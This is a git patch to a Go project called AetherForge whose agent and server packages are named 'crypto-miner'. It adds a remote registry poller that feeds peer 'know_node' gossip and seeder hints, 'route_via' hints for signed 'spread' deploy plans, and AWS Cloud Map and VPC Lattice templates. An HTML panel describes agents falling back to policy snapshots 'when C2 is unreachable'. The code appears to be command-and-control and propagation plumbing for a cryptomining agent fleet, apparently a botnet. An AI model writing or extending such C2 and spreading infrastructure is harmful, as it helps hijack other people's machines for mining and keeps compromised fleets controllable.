From c12565c83db9793c92e7f5fa12a7066dc1fdf4af Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 10:08:57 -0700 Subject: [PATCH] Add Cloud Map seeder discovery with VPC Lattice operator templates. Agents poll AETHERFORGE_CLOUD_MAP_ENDPOINT to sync know_node gossip; deploy plans attach route_via DNS hints for standalone operator registries. --- agent/client/client.go | 1 + agent/client/cloud_map.go | 41 +++++ agent/deploy/cloud_map.go | 157 ++++++++++++++++++ agent/deploy/cloud_map_test.go | 43 +++++ agent/deploy/discover_join.go | 6 +- .../internal/api/deploy_plan_cloudmap_test.go | 42 +++++ server/internal/cloudmap/registry.go | 26 ++- server/internal/cloudmap/registry_test.go | 18 +- server/web/public/spread/cloud-map/README.md | 65 ++++++++ .../spread/cloud-map/lattice-snippet.yaml | 46 +++++ .../spread/cloud-map/registry-endpoint.json | 14 ++ .../spread/cloud-map/service-registry.json | 17 ++ server/web/public/spread/index.html | 48 ++++++ templates/cloud/cloud-map/README.md | 65 ++++++++ .../cloud/cloud-map/lattice-snippet.yaml | 46 +++++ .../cloud/cloud-map/registry-endpoint.json | 1 + .../cloud/cloud-map/service-registry.json | 17 ++ 17 files changed, 650 insertions(+), 3 deletions(-) create mode 100644 agent/client/cloud_map.go create mode 100644 agent/deploy/cloud_map.go create mode 100644 agent/deploy/cloud_map_test.go create mode 100644 server/internal/api/deploy_plan_cloudmap_test.go create mode 100644 server/web/public/spread/cloud-map/README.md create mode 100644 server/web/public/spread/cloud-map/lattice-snippet.yaml create mode 100644 server/web/public/spread/cloud-map/registry-endpoint.json create mode 100644 server/web/public/spread/cloud-map/service-registry.json create mode 100644 templates/cloud/cloud-map/README.md create mode 100644 templates/cloud/cloud-map/lattice-snippet.yaml create mode 100644 templates/cloud/cloud-map/service-registry.json diff --git a/agent/client/client.go b/agent/client/client.go index 36627d5..49e5652 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -430,6 +430,7 @@ func (c *AgentClient) authenticate() error { c.startContingencyIfEnabled(c.miningCtx) c.applyAuthFleetRole(resp) deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip) + c.startCloudMapSync() if resp.FleetTorrentEnabled { c.advertiseFleetTorrentHealthy() } diff --git a/agent/client/cloud_map.go b/agent/client/cloud_map.go new file mode 100644 index 0000000..b51f7f0 --- /dev/null +++ b/agent/client/cloud_map.go @@ -0,0 +1,41 @@ +package client + +import ( + "log" + "time" + + "crypto-miner-agent/deploy" +) + +const cloudMapSyncInterval = 5 * time.Minute + +func (c *AgentClient) startCloudMapSync() { + endpoint := deploy.CloudMapEndpoint() + if endpoint == "" { + return + } + go c.cloudMapSyncLoop(endpoint) +} + +func (c *AgentClient) cloudMapSyncLoop(endpoint string) { + c.syncCloudMapOnce(endpoint) + ticker := time.NewTicker(cloudMapSyncInterval) + defer ticker.Stop() + for { + select { + case <-c.miningCtx.Done(): + return + case <-ticker.C: + c.syncCloudMapOnce(endpoint) + } + } +} + +func (c *AgentClient) syncCloudMapOnce(endpoint string) { + err := deploy.SyncCloudMapRegistry(endpoint, c.writeFleetTorrentGossip) + if err != nil { + log.Printf("[agent] cloud map registry sync failed: %v", err) + return + } + log.Printf("[agent] cloud map registry synced from %s", endpoint) +} diff --git a/agent/deploy/cloud_map.go b/agent/deploy/cloud_map.go new file mode 100644 index 0000000..0562706 --- /dev/null +++ b/agent/deploy/cloud_map.go @@ -0,0 +1,157 @@ +package deploy + +import ( + "encoding/json" + "fmt" + "io" + "net/http" + "os" + "strings" + "time" +) + +const cloudMapEnvEndpoint = "AETHERFORGE_CLOUD_MAP_ENDPOINT" + +type CloudMapRegistryDocument struct { + Namespace string `json:"namespace"` + Service string `json:"service"` + UpdatedAt string `json:"updated_at"` + Instances []CloudMapRegistryInstance `json:"instances"` +} + +type CloudMapRegistryInstance struct { + AgentID string `json:"agent_id"` + DNSName string `json:"dns_name"` + IP string `json:"ip"` + FetchURL string `json:"fetch_url"` + Port int `json:"port"` + Healthy bool `json:"healthy"` +} + +var cloudMapHTTPGet = func(url string) ([]byte, error) { + client := &http.Client{Timeout: 12 * time.Second} + resp, err := client.Get(url) + if err != nil { + return nil, err + } + defer resp.Body.Close() + if resp.StatusCode < 200 || resp.StatusCode >= 300 { + return nil, fmt.Errorf("cloud map registry HTTP %d", resp.StatusCode) + } + return io.ReadAll(io.LimitReader(resp.Body, 1<<20)) +} + +func SetCloudMapHTTPGetForTest(fn func(string) ([]byte, error)) { + if fn == nil { + cloudMapHTTPGet = func(url string) ([]byte, error) { + client := &http.Client{Timeout: 12 * time.Second} + resp, err := client.Get(url) + if err != nil { + return nil, err + } + defer resp.Body.Close() + if resp.StatusCode < 200 || resp.StatusCode >= 300 { + return nil, fmt.Errorf("cloud map registry HTTP %d", resp.StatusCode) + } + return io.ReadAll(io.LimitReader(resp.Body, 1<<20)) + } + return + } + cloudMapHTTPGet = fn +} + +func CloudMapEndpoint() string { + return strings.TrimRight(strings.TrimSpace(os.Getenv(cloudMapEnvEndpoint)), "/") +} + +func normalizeCloudMapRegistry(doc CloudMapRegistryDocument) CloudMapRegistryDocument { + doc.Namespace = strings.TrimSpace(doc.Namespace) + doc.Service = strings.TrimSpace(doc.Service) + if doc.Namespace == "" { + doc.Namespace = "prod.local" + } + if doc.Service == "" { + doc.Service = "seeder" + } + return doc +} + +func FetchCloudMapRegistry(endpoint string) (CloudMapRegistryDocument, error) { + endpoint = strings.TrimRight(strings.TrimSpace(endpoint), "/") + if endpoint == "" { + return CloudMapRegistryDocument{}, fmt.Errorf("cloud map endpoint required") + } + body, err := cloudMapHTTPGet(endpoint) + if err != nil { + return CloudMapRegistryDocument{}, err + } + var doc CloudMapRegistryDocument + if err := json.Unmarshal(body, &doc); err != nil { + return CloudMapRegistryDocument{}, err + } + return normalizeCloudMapRegistry(doc), nil +} + +func CloudMapKnowNodeRecords(doc CloudMapRegistryDocument) []FleetGossipRecord { + doc = normalizeCloudMapRegistry(doc) + var out []FleetGossipRecord + seen := make(map[string]bool) + for _, inst := range doc.Instances { + if !inst.Healthy { + continue + } + target := strings.TrimSpace(inst.AgentID) + if target == "" { + target = strings.TrimSpace(inst.DNSName) + } + if target == "" || seen[target] { + continue + } + seen[target] = true + out = append(out, FleetGossipRecord{ + Kind: FleetGossipKnowNode, + TargetAgentID: target, + Healthy: true, + }) + } + return out +} + +func CloudMapLANSeederHints(doc CloudMapRegistryDocument) []LANSeederHint { + doc = normalizeCloudMapRegistry(doc) + var out []LANSeederHint + for _, inst := range doc.Instances { + if !inst.Healthy { + continue + } + id := strings.TrimSpace(inst.AgentID) + if id == "" { + id = strings.TrimSpace(inst.DNSName) + } + if id == "" { + continue + } + out = append(out, LANSeederHint{ + AgentID: id, + IP: strings.TrimSpace(inst.IP), + LANFallbackURL: strings.TrimSpace(inst.FetchURL), + }) + } + return out +} + +func SyncCloudMapRegistry(endpoint string, gossipFn func([]FleetGossipRecord)) error { + doc, err := FetchCloudMapRegistry(endpoint) + if err != nil { + return err + } + records := CloudMapKnowNodeRecords(doc) + if len(records) > 0 && gossipFn != nil { + gossipFn(records) + } + if hints := CloudMapLANSeederHints(doc); len(hints) > 0 { + localIP, _ := PrimaryLocalIPv4() + SetLANSeederHints(hints, localIP) + } + return nil +} diff --git a/agent/deploy/cloud_map_test.go b/agent/deploy/cloud_map_test.go new file mode 100644 index 0000000..78d2e9e --- /dev/null +++ b/agent/deploy/cloud_map_test.go @@ -0,0 +1,43 @@ +package deploy + +import ( + "os" + "strings" + "testing" +) + +func TestFetchCloudMapRegistry(t *testing.T) { + SetCloudMapHTTPGetForTest(func(url string) ([]byte, error) { + return []byte(`{"namespace":"prod.local","service":"seeder","instances":[{"agent_id":"seed-a","dns_name":"seeder.svc.prod.local","healthy":true,"fetch_url":"http://10.0.1.50/manifest"}]}`), nil + }) + defer SetCloudMapHTTPGetForTest(nil) + doc, err := FetchCloudMapRegistry("http://registry.local/v1/seeder") + if err != nil { + t.Fatal(err) + } + records := CloudMapKnowNodeRecords(doc) + if len(records) != 1 || records[0].TargetAgentID != "seed-a" { + t.Fatalf("records=%+v", records) + } +} + +func TestAppendSpreadRouteTelemetryIncludesRouteVia(t *testing.T) { + got := appendSpreadRouteTelemetry("joined", &SpreadRouteHint{EgressAgentID: "egress-1", RouteVia: "seeder.svc.prod.local"}) + if got == "" || !strings.Contains(got, "route_via=seeder.svc.prod.local") { + t.Fatalf("got=%q", got) + } +} + +func TestCloudMapEndpointFromEnv(t *testing.T) { + t.Setenv(cloudMapEnvEndpoint, "http://127.0.0.1:8080/registry.json") + if got := CloudMapEndpoint(); got != "http://127.0.0.1:8080/registry.json" { + t.Fatalf("got=%q", got) + } +} + +func TestCloudMapEndpointUnset(t *testing.T) { + _ = os.Unsetenv(cloudMapEnvEndpoint) + if got := CloudMapEndpoint(); got != "" { + t.Fatalf("got=%q", got) + } +} diff --git a/agent/deploy/discover_join.go b/agent/deploy/discover_join.go index 5e859cf..976ceb2 100644 --- a/agent/deploy/discover_join.go +++ b/agent/deploy/discover_join.go @@ -1,4 +1,4 @@ -package deploy +package deploy import ( "crypto/hmac" @@ -25,6 +25,7 @@ type SpreadRouteHint struct { ClearanceLevel int `json:"clearance_level,omitempty"` SwarmMagnet string `json:"swarm_magnet,omitempty"` ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"` + RouteVia string `json:"route_via,omitempty"` } // WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans. @@ -401,6 +402,9 @@ func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string { strings.TrimSpace(hint.SeedAgentID), hint.Score, ) + if via := strings.TrimSpace(hint.RouteVia); via != "" { + routeNote += "; route_via=" + via + } if detail == "" { return routeNote } diff --git a/server/internal/api/deploy_plan_cloudmap_test.go b/server/internal/api/deploy_plan_cloudmap_test.go new file mode 100644 index 0000000..20cb360 --- /dev/null +++ b/server/internal/api/deploy_plan_cloudmap_test.go @@ -0,0 +1,42 @@ +package api + +import ( + "encoding/json" + "os" + "path/filepath" + "testing" + + "crypto-miner-server/internal/spreadrouter" +) + +func TestAttachCloudMapRouteVia(t *testing.T) { + dir := t.TempDir() + cfg := map[string]interface{}{ + "server": map[string]interface{}{ + "cloud_map_namespace": "prod.local", + "cloud_map_service": "seeder", + }, + } + data, _ := json.Marshal(cfg) + if err := os.WriteFile(filepath.Join(dir, "config.json"), data, 0o644); err != nil { + t.Fatal(err) + } + h := &DeployPlanHandler{dataDir: dir} + body := DeployPlanBody{} + h.attachCloudMapRouteVia(&body) + if body.SpreadRouteHint == nil || body.SpreadRouteHint.RouteVia != "seeder.svc.prod.local" { + t.Fatalf("hint=%+v", body.SpreadRouteHint) + } +} + +func TestAttachCloudMapRouteViaPreservesExisting(t *testing.T) { + dir := t.TempDir() + h := &DeployPlanHandler{dataDir: dir} + body := DeployPlanBody{ + SpreadRouteHint: &spreadrouter.SpreadRouteHint{RouteVia: "custom.svc.lab.local"}, + } + h.attachCloudMapRouteVia(&body) + if body.SpreadRouteHint.RouteVia != "custom.svc.lab.local" { + t.Fatalf("route_via=%q", body.SpreadRouteHint.RouteVia) + } +} diff --git a/server/internal/cloudmap/registry.go b/server/internal/cloudmap/registry.go index 8d9fab0..754bf5c 100644 --- a/server/internal/cloudmap/registry.go +++ b/server/internal/cloudmap/registry.go @@ -38,4 +38,28 @@ func NormalizeRegistryDocument(doc RegistryDocument) (RegistryDocument, bool) { doc.Service = "seeder" } return doc, doc.Namespace != "" && doc.Service != "" -} \ No newline at end of file +} + +func KnowNodeTargets(doc RegistryDocument) []string { + doc, ok := NormalizeRegistryDocument(doc) + if !ok { + return nil + } + seen := make(map[string]bool) + var out []string + for _, inst := range doc.Instances { + if !inst.Healthy { + continue + } + id := strings.TrimSpace(inst.AgentID) + if id == "" { + id = strings.TrimSpace(inst.DNSName) + } + if id == "" || seen[id] { + continue + } + seen[id] = true + out = append(out, id) + } + return out +} diff --git a/server/internal/cloudmap/registry_test.go b/server/internal/cloudmap/registry_test.go index 2fdb269..049fa39 100644 --- a/server/internal/cloudmap/registry_test.go +++ b/server/internal/cloudmap/registry_test.go @@ -1,4 +1,4 @@ -package cloudmap +package cloudmap import "testing" @@ -7,3 +7,19 @@ func TestSeederDNSName(t *testing.T) { t.Fatalf("got %q", got) } } + +func TestKnowNodeTargets(t *testing.T) { + doc := RegistryDocument{ + Namespace: "prod.local", + Service: "seeder", + Instances: []RegistryInstance{ + {AgentID: "a1", Healthy: true}, + {AgentID: "a2", Healthy: false}, + {DNSName: "seeder.svc.prod.local", Healthy: true}, + }, + } + got := KnowNodeTargets(doc) + if len(got) != 2 || got[0] != "a1" || got[1] != "seeder.svc.prod.local" { + t.Fatalf("got=%v", got) + } +} diff --git a/server/web/public/spread/cloud-map/README.md b/server/web/public/spread/cloud-map/README.md new file mode 100644 index 0000000..1337591 --- /dev/null +++ b/server/web/public/spread/cloud-map/README.md @@ -0,0 +1,65 @@ +# Cloud Map + VPC Lattice (standalone) + +Operator templates for **AWS Cloud Map** service discovery and optional **VPC Lattice** service network routing. No live AWS account is required on the AetherForge command deck — host the registry JSON yourself and point agents at it. + +## Files + +| File | Purpose | +|------|---------| +| `registry-endpoint.json` | Cloud Map HTTP registry document served to agents | +| `lattice-snippet.yaml` | VPC Lattice service network + service association starter | +| `service-registry.json` | Cloud Map `CreateService` input template | + +## Agent configuration + +Set on seeders/miners that should poll the registry: + +```bash +export AETHERFORGE_CLOUD_MAP_ENDPOINT="https://YOUR_ORIGIN/registry-endpoint.json" +``` + +Agents merge healthy instances into fleet gossip as `know_node` records and refresh LAN seeder hints for WebRTC mesh fallback. + +## BGP spread hint + +Calibrate `data/config.json`: + +```json +{ + "server": { + "cloud_map_namespace": "prod.local", + "cloud_map_service": "seeder" + } +} +``` + +Signed deploy plans attach `spread_route_hint.route_via` = `seeder.svc.prod.local` style DNS. + +## Operator workflow + +1. Export ZIP from Emberwake → **cloud-map** template (or copy files from this folder). +2. Create Cloud Map namespace `prod.local` and service `seeder` in your AWS account (optional if using HTTP-only registry). +3. Host `registry-endpoint.json` on S3/CloudFront or Lattice-exposed HTTPS origin. +4. Apply `lattice-snippet.yaml` when routing VPC workloads through a Lattice service network. +5. Set `AETHERFORGE_CLOUD_MAP_ENDPOINT` on agents to the hosted registry URL. + +## Registry JSON shape + +```json +{ + "namespace": "prod.local", + "service": "seeder", + "updated_at": "2026-06-07T12:00:00Z", + "instances": [ + { + "agent_id": "REPLACE_AGENT_ID", + "dns_name": "seeder.svc.prod.local", + "ip": "10.0.1.50", + "fetch_url": "https://YOUR_SERVER/api/v1/public/erasure-torrent/REPLACE_TOKEN/manifest", + "healthy": true + } + ] +} +``` + +Healthy instances become `know_node` gossip targets; `fetch_url` feeds LAN seeder hints. diff --git a/server/web/public/spread/cloud-map/lattice-snippet.yaml b/server/web/public/spread/cloud-map/lattice-snippet.yaml new file mode 100644 index 0000000..5c574ec --- /dev/null +++ b/server/web/public/spread/cloud-map/lattice-snippet.yaml @@ -0,0 +1,46 @@ +# VPC Lattice service network snippet (operator-owned AWS account). +# Replace placeholders before apply. Standalone mode only needs the HTTP registry URL. +# +# After apply, expose registry-endpoint.json via Lattice HTTPS listener or CloudFront. + +AWSTemplateFormatVersion: "2010-09-09" +Description: AetherForge seeder discovery via VPC Lattice + Cloud Map namespace + +Parameters: + NamespaceName: + Type: String + Default: "{{NAMESPACE_NAME}}" + ServiceName: + Type: String + Default: seeder + RegistryURL: + Type: String + Description: HTTPS URL agents poll (maps to AETHERFORGE_CLOUD_MAP_ENDPOINT) + Default: "{{SERVER_URL}}/api/v1/public/cloud-map/registry-endpoint.json" + +Resources: + SeederServiceNetwork: + Type: AWS::VpcLattice::ServiceNetwork + Properties: + Name: aetherforge-seeder-network + AuthType: NONE + + SeederLatticeService: + Type: AWS::VpcLattice::Service + Properties: + Name: !Sub "${ServiceName}-lattice" + AuthType: NONE + + SeederServiceNetworkAssociation: + Type: AWS::VpcLattice::ServiceNetworkServiceAssociation + Properties: + ServiceNetworkIdentifier: !GetAtt SeederServiceNetwork.Id + ServiceIdentifier: !GetAtt SeederLatticeService.Id + +Outputs: + CloudMapSeederDNS: + Description: BGP route_via hint for spread plans + Value: !Sub "${ServiceName}.svc.${NamespaceName}" + AgentRegistryEndpoint: + Description: Set AETHERFORGE_CLOUD_MAP_ENDPOINT to this URL + Value: !Ref RegistryURL diff --git a/server/web/public/spread/cloud-map/registry-endpoint.json b/server/web/public/spread/cloud-map/registry-endpoint.json new file mode 100644 index 0000000..efc0984 --- /dev/null +++ b/server/web/public/spread/cloud-map/registry-endpoint.json @@ -0,0 +1,14 @@ +{ + "namespace": "{{NAMESPACE_NAME}}", + "service": "seeder", + "updated_at": "2026-06-07T00:00:00Z", + "instances": [ + { + "agent_id": "REPLACE_AGENT_ID", + "dns_name": "seeder.svc.{{NAMESPACE_NAME}}", + "ip": "10.0.1.50", + "fetch_url": "{{SERVER_URL}}/api/v1/public/erasure-torrent/REPLACE_TOKEN/manifest", + "healthy": true + } + ] +} diff --git a/server/web/public/spread/cloud-map/service-registry.json b/server/web/public/spread/cloud-map/service-registry.json new file mode 100644 index 0000000..43674b3 --- /dev/null +++ b/server/web/public/spread/cloud-map/service-registry.json @@ -0,0 +1,17 @@ +{ + "Name": "aetherforge-seeder", + "NamespaceId": "REPLACE_CLOUD_MAP_NAMESPACE_ID", + "Description": "AetherForge erasure seeder instances for VPC Lattice discovery", + "DnsConfig": { + "DnsRecords": [ + { + "Type": "A", + "TTL": 10 + } + ], + "RoutingPolicy": "MULTIVALUE" + }, + "HealthCheckCustomConfig": { + "FailureThreshold": 1 + } +} diff --git a/server/web/public/spread/index.html b/server/web/public/spread/index.html index 587c234..de12226 100644 --- a/server/web/public/spread/index.html +++ b/server/web/public/spread/index.html @@ -235,6 +235,46 @@

+
+

EventBridge policy fan-out (degraded mode)

+

+ When C2 is unreachable, agents poll a lightweight policy snapshot or receive pushes via your own + EventBridge relay. No mandatory AWS signup — copy static templates or export a configured ZIP from Emberwake. +

+
+ cloudformation.json + eventbridge-rule.json + lambda/index.js + README.txt +
+

+ Poll URL: /api/v1/public/policy-snapshot/{token} — includes + genesis_version, hospice_list, and + vaccination_lanes. Authenticated export: + POST /api/v1/spread/policy-fanout-export. +

+
+ +
+

Cloud Map + VPC Lattice seeder discovery

+

+ Standalone operator templates for AWS Cloud Map registry JSON and optional + VPC Lattice service network routing. Host the registry on your HTTPS origin — no live + Lattice account required on the command deck. +

+
+ Operator README + registry-endpoint.json + lattice-snippet.yaml +
+

+ Agents poll AETHERFORGE_CLOUD_MAP_ENDPOINT; atlas gossip syncs + know_node from healthy instances. BGP hints use + route_via=seeder.svc.prod.local when Calibrate sets + cloud_map_namespace. +

+
+